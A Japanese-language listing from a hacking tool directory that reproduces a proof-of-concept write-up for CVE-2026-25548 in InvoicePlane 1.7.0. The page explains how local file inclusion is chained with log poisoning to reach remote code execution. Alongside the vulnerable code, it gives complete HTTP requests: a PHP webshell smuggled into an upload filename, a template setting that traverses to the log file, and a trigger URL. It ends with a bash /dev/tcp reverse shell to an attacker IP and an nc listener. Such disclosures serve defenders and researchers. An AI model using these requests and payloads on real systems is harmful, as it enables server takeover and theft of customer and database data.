Skip to content
KitploitKITPLOIT
ツールブログ
Log in
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-25548 — # CVE-2026-25548 技術詳細解説と概念実証 InvoicePlane 1.7.0 におけるLFI(ローカルファイルインクルージョン)とログポイズニングを介した重大なRCE(リモートコード実行)脆弱性に関する詳細な技術解説と概念実証。攻撃チェーン、PoCリクエスト、影響分析を含む。 | Kitploit
ツール/GitHubGitHub/lagathos/cve-2026-25548
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育レッドチーミング
GitHublagathos/cve-2026-25548

CVE-2026-25548

# CVE-2026-25548 技術詳細解説と概念実証 InvoicePlane 1.7.0 におけるLFI(ローカルファイルインクルージョン)とログポイズニングを介した重大なRCE(リモートコード実行)脆弱性に関する詳細な技術解説と概念実証。攻撃チェーン、PoCリクエスト、影響分析を含む。

リポジトリを見る
196ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-25548 — InvoicePlane 1.7.0 におけるリモートコード実行

脆弱性: ローカルファイルインクルージョン+ログポイズニングによるリモートコード実行

製品: InvoicePlane

影響を受けるバージョン: 1.7.0(およびそれ以前のバージョンの可能性あり)

深刻度: 重大

CVSS 3.1 スコア: 9.1 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H)

CWE: CWE-98、CWE-117、CWE-94

発見者: Leonidas Agathos

報告日: 2026-01-31


目次

  • 説明
  • 脆弱性の詳細
    • 1. ローカルファイルインクルージョン(LFI)
    • 2. アップロードファイル名によるログポイズニング
  • 攻撃チェーン
  • 概念実証
    • ステップ1 — ログポイズニング
    • ステップ2 — LFIの設定
    • ステップ3 — RCEのトリガー
    • ステップ4 — リバースシェル
  • 影響
  • 影響を受けるコンポーネント
  • タイムライン

説明

InvoicePlane 1.7.0 の重大な脆弱性チェーンにより、認証された管理者が基盤となるサーバー上で**リモートコード実行(RCE)**を達成できます。この攻撃は2つの弱点を組み合わせたものです:

  1. ローカルファイルインクルージョン(LFI) — 公開請求書テンプレート設定が検証なしで任意のファイルパスを受け入れ、意図したテンプレートディレクトリ外のファイルをインクルードできます。
  2. ログポイズニング — パストラバーサル文字を含むアップロードファイル名が CodeIgniter の .php ログファイルにそのまま書き込まれ、任意の PHP コードの注入が可能になります。

組み合わせることで、管理者アクセスを持つ攻撃者は Web サーバーユーザーとしてサーバーを完全に侵害できます。最終的な RCE トリガーは認証不要(公開請求書 URL)です。


脆弱性の詳細

1. ローカルファイルインクルージョン(LFI)

属性値
ファイルapplication/modules/guest/controllers/View.php
行85、191
パラメータpublic_invoice_template(データベース設定)
CWECWE-98: Include/Require ステートメントにおけるファイル名の不適切な制御

脆弱なコード(View.php:85):

$this->load->view('invoice_templates/public/' .
    get_setting('public_invoice_template') . '.php', $data);

脆弱なコード(View.php:191):

$this->load->view('quote_templates/public/' .
    get_setting('public_quote_template') . '.php', $data);

public_invoice_template および public_quote_template 設定はデータベースから取得され、CodeIgniter の load->view()(PHP の include() に解決される)に渡されるファイルパスに直接連結されます。以下に対する検証は一切ありません:

  • ディレクトリトラバーサルシーケンス(../)の防止
  • 許可されたテンプレート名のホワイトリスト化
  • ファイルが期待されるテンプレートディレクトリ内に存在することの確認

管理者はこの値をファイルシステム上の任意のパスに設定でき、自動的に追加される .php 拡張子によってのみ制約されます。


2. アップロードファイル名によるログポイズニング

属性値
ファイルapplication/modules/upload/controllers/Upload.php
行178–184
パラメータアップロードファイル名(HTTP マルチパートフォームデータ)
CWECWE-117: ログの不適切な出力無害化

脆弱なコード(Upload.php:178-184):

private function sanitize_file_name(string $filename): string
{
    if (str_contains($filename, '..')
        || str_contains($filename, '/')
        || str_contains($filename, '\\')
        || str_contains($filename, "\0")) {
        log_message('error', 'Path traversal attempt detected in filename: ' . $filename);
        return '';
    }
    // ...
}

ファイル名がパストラバーサルチェックをトリガーすると、未処理のままのサニタイズされていないファイル名がログファイルに直接書き込まれます。CodeIgniter のログファイルは:

  • .php 拡張子を使用:application/logs/log-YYYY-MM-DD.php
  • <?php defined('BASEPATH') OR exit('No direct script access allowed'); ?> で始まる
  • したがって、インクルードされると実行される有効な PHP ファイルである

ファイル名に <?php system($_GET[1]); ?> を埋め込んだ攻撃者は、そのペイロードがログに書き込まれ、後で LFI を介して実行されるようにします。


攻撃チェーン

[認証されたユーザー]  →  悪意のあるファイル名をアップロード  →  PHP がログファイルに注入される
[管理者]               →  テンプレート設定を変更              →  LFI がログファイルを指す
[任意のユーザー]       →  公開請求書 URL にアクセス           →  RCE
ステップ要件
ログポイズニングアップロードアクセス権を持つ認証されたユーザー
LFI 設定管理者アカウント
RCE トリガー認証不要(公開請求書 URL)

概念実証

ステップ1 — ログポイズニング

ファイル名に PHP ウェブシェルを埋め込んだファイルアップロードリクエストを送信します。パストラバーサルチェックがトリガーされ、生のファイル名(PHP ペイロードを含む)がログファイルに書き込まれます。

リクエスト(Burp Suite 経由):

POST /index.php/upload/upload_file/3/13phvCzZiPyOXKYeJBk084jHL5NTGn9d HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=...
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="_ip_csrf"

<csrf_token>
------Boundary
Content-Disposition: form-data; name="file"; filename="..<?php system($_GET[1]); ?>.jpg"
Content-Type: image/jpeg

test
------Boundary--

サーバーはアップロードを拒否します(upload_error_invalid_extension)が、ログエントリはすでに書き込まれています:

application/logs/log-2026-01-31.php の結果:

ERROR - 2026-01-31 10:35:06 --> Path traversal attempt detected in filename: ..<?php system($_GET[1]); ?>.jpg

請求書の添付ファイルセクションに移動し、ファイルを追加をクリックしてアップロードエンドポイントに到達します。

ステップ1a - 請求書添付ファイルのアップロードエントリポイント

ステップ1b - 悪意のあるファイル名による PHP ペイロードの注入

ステップ1c - 注入された PHP ペイロードを示すログファイル


ステップ2 — LFI の設定

管理者として、パストラバーサルペイロードを使用して public_invoice_template 設定を今日のログファイルを指すように設定します。CodeIgniter のビューローダーは .php を自動的に追加します。

リクエスト(Burp Suite 経由):

POST /index.php/settings HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=<admin_session>
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="settings[public_invoice_template]"

../../../logs/log-2026-01-31
------Boundary--

トラバーサルパスは application/views/invoice_templates/public/ から application/logs/ まで解決され、log-2026-01-31.php がインクルードされます。

ステップ2 - Burp Suite 経由で public_invoice_template をログファイルパスに設定


ステップ3 — RCE のトリガー

1 GET パラメータとしてコマンドを渡して、任意の公開請求書 URL にアクセスします。認証は不要です。

リクエスト:

GET /index.php/guest/view/invoice/<invoice_url_key>?1=id HTTP/1.1
Host: 172.25.0.12

レスポンス(ページソース内):

Path traversal attempt detected in filename: ..uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
.jpg

system($_GET[1]) ペイロードが id コマンドを実行し、その出力がページ内にインラインで反映されます。

ステップ3 - 公開請求書 URL 経由で HTTP レスポンスに反映されたコマンド出力


ステップ4 — リバースシェル

コマンドを bash リバースシェルペイロードに置き換えて、インタラクティブシェルを取得します:

GET /index.php/guest/view/invoice/<invoice_url_key>?1=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.25.131/4444+0>%261' HTTP/1.1

攻撃者マシン上で:

nc -lnvp 4444

結果:

connect to [192.168.25.131] from (UNKNOWN) [172.25.0.11] 43360
www-data@0dd592f7a424:~/projects/invoiceplane$

www-data としての完全なインタラクティブシェル。

ステップ4 - 完全な RCE を確認するリバースシェルの確立


影響

側面評価詳細
機密性高Web サーバーユーザーがアクセス可能なすべてのファイルへの完全な読み取りアクセス(データベース認証情報や顧客請求書データを含む)
完全性高任意のファイル書き込み、データベース改変、ウェブシェルインストール
可用性高サービス拒否、ランサムウェア展開、システム破壊

影響を受けるコンポーネント

ファイル脆弱性
application/modules/guest/controllers/View.php:85LFI — 請求書テンプレート
application/modules/guest/controllers/View.php:191LFI — 見積書テンプレート
application/modules/upload/controllers/Upload.php:182ログポイズニング
application/modules/settings/controllers/Settings.phpテンプレート設定の検証なし

タイムライン

ツールをダウンロード